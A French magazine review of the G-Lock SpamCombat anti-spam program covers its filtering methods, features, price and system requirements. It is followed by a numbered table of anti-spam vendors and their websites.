ARRÊTER LE COURRIER NON SOLLICITÉ ET LES VIRUS AVANT QU'ILS GAGNENT VOTRE BOÎTE DE RÉCEPTION G-Lock SpamCombat est le logiciel anti-spam le plus populaire et le plus efficace publié par un éditeur de logiciels indépendant. Non sans raison, en effet Alexa met le site WWW.glocksoft.com sur la liste des 100000 pages les plus populaires sur le réseau et le moteur de recherche Google affiche plus de 17000 résultats concernant G-Lock SpamCombat, c'est-à-dire trois fois plus que les résultats trouvés pour les « grandes » solutions commerciales de ce type. La raison de cette popularité est que G-Lock SpamCombat est capable d'arrêter 99,5% du spam et des virus avant qu'ils gagnent la boîte de réception. En pratique, le logiciel ne télécharge pas le courrier non sollicité mais il le supprime directement à partir du serveur. Pour atteindre ce niveau d'efficacité et de précision, G-Lock SpamCombat emploie tous les moyens de lutte connus contre le spam – la liste noire et la liste blanche, les filtres de Bayes et les nouvelles méthodes – les validateurs HTML et les filtres DNSBL. La liste noire et la liste blanche sont des solutions très répandues mais passives, c'est la raison pour laquelle elles ne sont pas capables de vous protéger contre les attaques de virus et du spam venant des adresses e-mail inconnues. Par contre, le validateur HTML et les filtres DNSBL sont capables de remplir cette tâche. Le premier des outils cités permet de vérifier le contenu du message HTML suspect sans télécharger les images et sans lancer les scripts cachés. Le second est le filtre DNSBL qui a pour rôle de comparer l'adresse de l'expéditeur du message avec la liste des logiciels de spam Information : Page d'éditeur : http://www.glocksoft.com/ Page de produit : http://www.glocksoft.com/sc/ index.htm Source de téléchargement : http://mirror1.glocksoft.com/ spamcombat.zip

78

connus. Cette technique s'avère être très efficace notamment dans la lutte contre les logiciels de spam tentant d'utiliser les adresses de retour des sociétés de haute renommée. On appelle le filtre de Bayes, un mécanisme compliqué d'analyse mathématique permettant d'analyser le contenu du message basé sur la capacité d'auto-apprentissage. L'algorithme analyse les messages désignés par l'utilisateur comme « bons » ou comme « mauvais », puis il est capable d'analyser un nouveau message inconnu et de déterminer son caractère avec 99.55% d'efficacité. Contrairement aux autres solutions anti-spam, G-Lock SpamCombat ne confondra jamais le message HTML opt-in (opt-in HTML newsletter) avec les messages de publicité de Viagra. Tout ce que nous avons pu observer sur le logiciel SpamCombat prouve que celui-ci est configurable minutieusement. La plupart des fenêtres peuvent être déplacées, masquées, affichées, fixées en dur, masquées automatiquement ou attachées – tout ceci ne dépend que de la volonté de l'utilisateur. Il en est de même pour les barres d'outils que vous pouvez déplacer et attacher dans les endroits quelconques. L'apparence de l'application elle-même peut être également complètement modifiée grâce au changement de

couleurs et de style des barres d'outils. L'indépendance par rapport à un logiciel de messagerie est un autre avantage de G-Lock SpamCombat. Comme il supporte les protocoles POP3 et IMAP, il peut être configuré pour travailler avec des services Web populaires, tels que Hotmail ou Yahoo. Les utilisateurs d'AOL peuvent également utiliser cette application. En outre, G-Lock SpamCombat utilise une licence non standardisée. L'enregistrement coûte 35 dollars US. La version de démonstration supportant seulement un compte courrier, mais doté de toutes les fonctionnalités et sans limitations temporelles est également disponible. Cela veut dire que les utilisateurs d'un compte courrier unique peuvent profiter entièrement et gratuitement de cet outil puissant. Traits caractéristiques et avantages de G-Lock SpamCombat : •

•

Auto-apprentissage. SpamCombat apprend des règles en fonction des spams reçus et des messages qualifiés comme bons. Grâce à cela, il vous offre une précision et une efficacité hors du commun dans la lutte contre le spam. Suppression des messages avant qu'ils soient téléchargés dans la boîte de réception.

•

•

•

•

•

De façon sûre, vous pouvez avoir un aperçu du contenu du message afin de décider de le supprimer ou non. Cette méthode est excellente pour combattre les virus, les logiciels espions et les pièces jointes de grande taille. Liste blanche. Vous y ajoutez les sources des messages attendus. Grâce à cela, tous les messages venant de ces adresses seront désignés comme « bons ». Liste noire. La liste noire du logiciel SpamCombat vous donne la possibilité d'arrêter de façon efficace les types de virus les plus populaires ainsi que le spam. Il est également possible d'ajouter à cette liste vos propres positions. Filtrage. Possibilité de filtrer simultanément le courrier venant de plusieurs comptes et de supprimer automatiquement le spam de telle manière à ce que le courrier non sollicité ne soit pas aperçu. Mode automatique. Possibilité de vérifier l'arrivée de nouveaux messages aux heures spécifiées. Récupération des messages e-mail. Si vous avez supprimé par maladresse un message qui soit sans mauvaises intentions, G-Lock SpamCombat vous permet de le récupérer depuis la corbeille et de le recevoir via un client de messagerie.

•

•

Statistiques. Les statistiques concernant les messages analysés sont affichées sous forme de tables et de diagrammes. Interface utilisateur conviviale et configurable. Vous pouvez modifier librement le menu, les barres d'outils, les tables et les aperçus de

•

•

•

messages. Ajouter ou supprimer des boutons, des positions du menu et des barres d'outils. Ajouter et supprimer les colonnes dans les tables ou choisir un format de message dans l'aperçu. Facilité d'usage. Malgré une interface abondante, SpamCombat est simple d'usage et il ne requiert pas de savoir-faire informatique avancé. Votre tâche est de vérifier le courrier, désigner les messages non sollicités à supprimer et ce qui va donc permettre à SpamCombat de les supprimer du serveur. Économie. Vous économisez sur les coûts de connexion Internet en limitant le transfert des messages non sollicités. Options supplémentaires. Le logiciel peut marcher après être inséré dans la zone de notification. Il reproduit un son ou affiche un message à chaque fois qu'un nouveau message est arrivé. La documentation complète y est jointe.

Exigences matérielles : • Système d'exploitation : Windows 95, 98, 2000, ME, NT ou XP • 128 Mo de mémoire RAM • Disque dur : 5 Mo

79

Les sociétés qui offrent les solutions anti-spam N°

Nom de la société ou nom du produit

URL

N°

Nom de la société ou nom du produit

URL

1

7tec

http://www.7tec.com/

49

MailSanctity

http://www.mailsanctity.com/

2

Alladin Knowledge Systems

http://www.esafe.com/

50

Mailshell

http://www.mailshell.com/

3

Anti-spam

http://www.anti-spam-software.com/

51

Mcafee

http://www.mcafee.com/

4

Avantec

http://www.avantec.ch/

52

NoticeBored

http://www.noticebored.com/

5

Barracudanetworks

http://www.barracudanetworks.com/

53

Omniquad

http://www.omniquad.com/

6

Bitpipe

http://www.bitpipe.com/

54

Open Field Software

http://www.openfieldsoftware.com/

7

Blue Squirrel

http://www.bluesquirrel.com/

55

Openprotect

http://www.openprotect.com/

8

Brigsoft

http://www.brigsoft.com/

56

Outblaze

http://www.outblaze.com/

9

Byteplant

http://www.byteplant.com/

57

Panicware

http://www.panicware.com/

10

Chrysanth

http://www.chrysanth.com/

58

PC Tools

http://www.pctools.com/

11

Cleanmail

http://www.cleanmail.ch/

59

Pingram Merketing

http://www.spamliquidator.com/

12

Cloudmark

http://www.cloudmark.com/

60

PopupKiller

http://www.popup-killer.info/

13

Code-Builders

http://www.code-builders.com/

61

Proland Software

http://www.pspl.com/

14

Cofeecup

http://www.cofeecup.com/

62

Proofpoint

http://www.proofpoint.com/

15

Contact Plus Corporation

http://www.contactplus.com/

63

Qurb

http://www.qurb.com/

16

ContentWatch

http://www.contentwatch.com/

64

Rainbow Innowations

http://www.rainbow-innov.co.uk/

17

Daedalus Software

http://www.daesoft.com/

65

RegNow

http://www.regnow.com/

18

Dair Computer Systems

http://www.spamai.com/

66

Rhino Software

http://www.zaep.com/

19

Declude

http://www.declude.com/

67

Roaring Penguin Software

http://www.roaringpenguin.com/

20

DigiPortal Software

http://www.digiportal.com/

68

Sentrybay

http://www.viralock.com/

21

Dignity Software

http://www.dignitysoftware.com/

69

Sinbad Network Communications

http://www.knockmail.com/

22

eAccelerationCorp

http://www.stop-sign.com/

70

SoftLogica

http://www.outlook-spam-filter.com/

23

Email Remover

http://www.email-remover.com/

71

Sophos

http://www.sophos.com/

24

Emailman

http://www.emailman.com/

72

Spam Software

http://www.spamsoftware.net/

25

Exclaimer

http://www.exclaimer.com/

73

Spam Sorter

http://www.spamsorter.com/

26

Firetrust Limited

http://www.firetrust.com/

74

Spam Weed

http://www.spamweed.com/

27

Futuresoft

http://www.dciseries.com/

75

Spamagogo

http://www.spamagogo.com/

28

G-Lock Software

http://www.glocksoft.com/

76

Spambat

http://www.spambat.com/

29

Gfi

http://www.gfi.com/

77

Spambully

http://www.spambully.com/

30

Giant Company

http://www.giantcompany.com/

78

Spambutcher

http://www.spambutcher.com/

31

Gilmore Software Development

http://www.spamcounterstrike.com/

79

SpamChoke Antispam Software

32

Grr-spam

http://www.grr-spam.com/

http://www.spamchoke-antispam-software.com/

33

Heidi Computers Limited

http://www.heidi.ie/

80

SpamFighter

http://www.spamfighter.com/

81

Spamhippo

http://www.spamhippo.com/

82

Spamlook Technologies

http://www.spamlook.com/

83

Spamsolver

http://www.spamsolver.com/

84

Spin Interworking

http://www.spin.it/

85

Spytech Software and Design

http://www.spam-agent.com/

86

Srimax Software Technology

http://www.srimax.com/

87

StompSoft

http://www.stompsoft.com/

88

Sunbelt Software

http://www.sunbelt-software.com/

89

Symantec

http://www.symantec.com/

90

Trimmail

http://www.trimmail.com/

91

Vamsoft

http://www.vamsoft.com/

92

Vanquish

http://www.vanquish.com/

93

Vicomsoft

http://www.vicomsoft.com/

94

Webroot Software

http://www.webroot.com/

95

Whatlink Software Limited

http://www.whatlink.com/

34

Hexamail

http://www.hexamail.com/

35

High Mountain Software

http://www.hms.com/

36

Inboxer

http://www.inboxer.com/

37

Intermute

http://www.intermute.com/

38

Internet Software Marketing

http://www.isoftmarketing.com/

39

IOK InterNetworking Services

http://www.iok.de/

40

ITIC

http://www.itc.com/

41

Kerio

http://www.kerio.com/

42

Lanservice

http://www.lanservice.pl/

43

Lescasse Consulting

http://www.lescasse.com/

44

LogSat Software

http://www.logsat.com/

45

Mail Zapper

http://www.mailzapper.com/

46

Mailfender

http://www.mailfender.com/

47

Mail Frontier

http://www.mailfrontier.com/

48

Maillaunder

http://www.maillaunder.com/

rit

1

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